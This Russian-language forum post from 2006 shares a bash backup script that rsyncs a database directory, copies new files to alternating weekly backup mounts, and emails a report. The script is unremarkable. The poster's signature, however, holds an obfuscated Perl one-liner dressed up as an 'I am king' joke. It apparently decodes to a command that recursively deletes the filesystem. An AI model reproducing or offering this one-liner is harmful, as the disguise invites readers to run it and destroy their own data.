Тема: backup under LInux
Показать сообщение отдельно
Старый 03.07.2006, 05:21     # 24
Gennadi
Member
 
Аватар для Gennadi
 
Регистрация: 26.08.2002
Адрес: Germany
Сообщения: 232

Gennadi МолодецGennadi МолодецGennadi Молодец
1.Скрипт копирует все файлы с BACUP_A на BACUP_B
2. При чём все новые дублируются по чётным неделям на BACUP_C, а по нечётным на BACUP_D.


Цитата:
#! /bin/bash
#
BACUP_A="/home/database/"
BACUP_B="/mnt/backup_b/"
BACUP_C="/mnt/backup_c/"
BACUP_D="/mnt/backup_d/"
OPTION="--force --ignore-errors -av"
MAILTO="admin@domain.ru"
ORG="Рога и Копыта "
WOCHE=`date +%W`
echo "" > logo
echo "" >> logo
echo " .' \`." >> logo
echo ' |a_a |' >> logo
echo " \<_)__/ Этот сообщение автоматически сгенерировано" >> logo
echo " /( )\ Backup-системой фирмы $ORG." >> logo
echo " /\\\`> < /\ " >> logo
echo " \\_|=='|_/" >> logo
echo "--------------------------------------------------------------------------------" >> logo
LOGO="`cat logo`"
###############################################
cd /usr/local/sbin
echo "$LOGO" > mail.txt
echo "Backup стартовал `date`" >> mail.txt

if [ `expr $WOCHE % 2` = 1 ]
then
BACUP_X="$BACUP_C"
else
BACUP_X="$BACUP_D"
fi
rsync $OPTION $BACUP_A $BACUP_B > list_tmp
lines=`wc -l list_tmp | awk '{print $1}' `
start=`expr $lines - 2`
sed "$start,$lines d" list_tmp > _tmp
cat _tmp | sed 1d | sort | uniq |sed 1d> 1_tmp
cat 1_tmp > new_files.txt
sed 's|\(.*\)/.*|\1|' 1_tmp | sort | uniq | sed /-\>/d > dirs_tmp
cat dirs_tmp | while read Dirs
do
mkdir -p "$BACUP_X$Dirs"
done
grep -v /$ 1_tmp | sort | uniq | sed /-\>/d > files_tmp
cat files_tmp | while read Files
do
cp -a "$BACUP_A$Files" "$BACUP_X$Files"
done
echo "

Следующие новые файлы были скопированы в директорию \"$BACUP_X\":
================================================
Смотри файл \" new_files.txt\"
================================================

Backup закончен `date`" >> mail.txt
echo "`cat mail.txt`" | mailx -s "Backup фирмы $ORG." -a new_files.txt $MAILTO
sleep 1
rm -f *_tmp
exit 1
__________________
Я - root, мне всё разрешено...
... и это тоже
echo "I am king" | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' &

Последний раз редактировалось Gennadi; 03.07.2006 в 11:08.
Gennadi вне форума